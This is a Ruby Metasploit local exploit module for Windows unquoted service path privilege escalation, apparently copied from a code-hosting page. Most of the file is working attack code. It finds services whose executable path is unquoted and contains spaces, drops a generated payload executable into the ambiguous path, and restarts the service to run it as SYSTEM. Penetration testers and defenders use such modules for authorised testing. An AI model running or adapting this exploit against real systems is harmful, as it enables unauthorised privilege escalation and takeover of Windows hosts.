127 lines
4.1 KiB
Ruby
127 lines
4.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/exe'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Services
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Service Trusted Path Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a logic flaw due to how the lpApplicationName parameter
|
|
is handled. When the lpApplicationName contains a space, the file name is
|
|
ambiguous. Take this file path as example: C:\program files\hello.exe;
|
|
The Windows API will try to interpret this as two possible paths:
|
|
C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
|
|
To some software developers, this is an unexpected behavior, which becomes a
|
|
security problem if an attacker is able to place a malicious executable in one
|
|
of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
|
|
Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
|
|
same problem.
|
|
|
|
The offensive technique is also described in Writing Secure Code (2nd Edition),
|
|
Chapter 23, in the section "Calling Processes Security" on page 676.
|
|
},
|
|
'References' =>
|
|
[
|
|
['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
|
|
['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'] #pg 676
|
|
],
|
|
'DisclosureDate' => "Oct 25 2001",
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'sinn3r'
|
|
],
|
|
'Platform' => [ 'win'],
|
|
'Targets' => [ ['Windows', {}] ],
|
|
'SessionTypes' => [ "meterpreter" ],
|
|
'DefaultTarget' => 0,
|
|
))
|
|
end
|
|
|
|
|
|
def check
|
|
if enum_vuln_services.empty?
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
# Found service is running system
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
end
|
|
|
|
|
|
def enum_vuln_services(quick=false)
|
|
vuln_services = []
|
|
|
|
each_service do |service|
|
|
info = service_info(service[:name])
|
|
|
|
# Sometimes there's a null byte at the end of the string,
|
|
# and that can break the regex -- annoying.
|
|
if info[:path]
|
|
cmd = info[:path].strip
|
|
|
|
# Check path:
|
|
# - Filter out paths that begin with a quote
|
|
# - Filter out paths that don't have a space
|
|
next if cmd !~ /^[a-z]\:.+\.exe$/i
|
|
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
|
|
|
|
vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
|
|
vuln_services << [service[:name], cmd]
|
|
|
|
# This process can be pretty damn slow.
|
|
# Allow the user to just find one, and get the hell out.
|
|
break if not vuln_services.empty? and quick
|
|
end
|
|
end
|
|
|
|
return vuln_services
|
|
end
|
|
|
|
|
|
def exploit
|
|
#
|
|
# Exploit the first service found
|
|
#
|
|
print_status("Finding a vulnerable service...")
|
|
svrs = enum_vuln_services(true)
|
|
|
|
fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty?
|
|
|
|
svr_name = svrs.first[0]
|
|
fpath = svrs.first[1]
|
|
exe_path = "#{fpath.split(' ')[0]}.exe"
|
|
print_status("Placing #{exe_path} for #{svr_name}")
|
|
|
|
#
|
|
# Drop the malicious executable into the path
|
|
#
|
|
exe = generate_payload_exe_service({:servicename=>svr_name})
|
|
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
|
|
begin
|
|
write_file(exe_path, exe)
|
|
register_files_for_cleanup(exe_path)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
# Can't write the file, can't go on
|
|
fail_with(Failure::Unknown, e.message)
|
|
end
|
|
|
|
#
|
|
# Run the service, let the Windows API do the rest
|
|
#
|
|
print_status("Launching service #{svr_name}...")
|
|
service_restart(svr_name)
|
|
end
|
|
end
|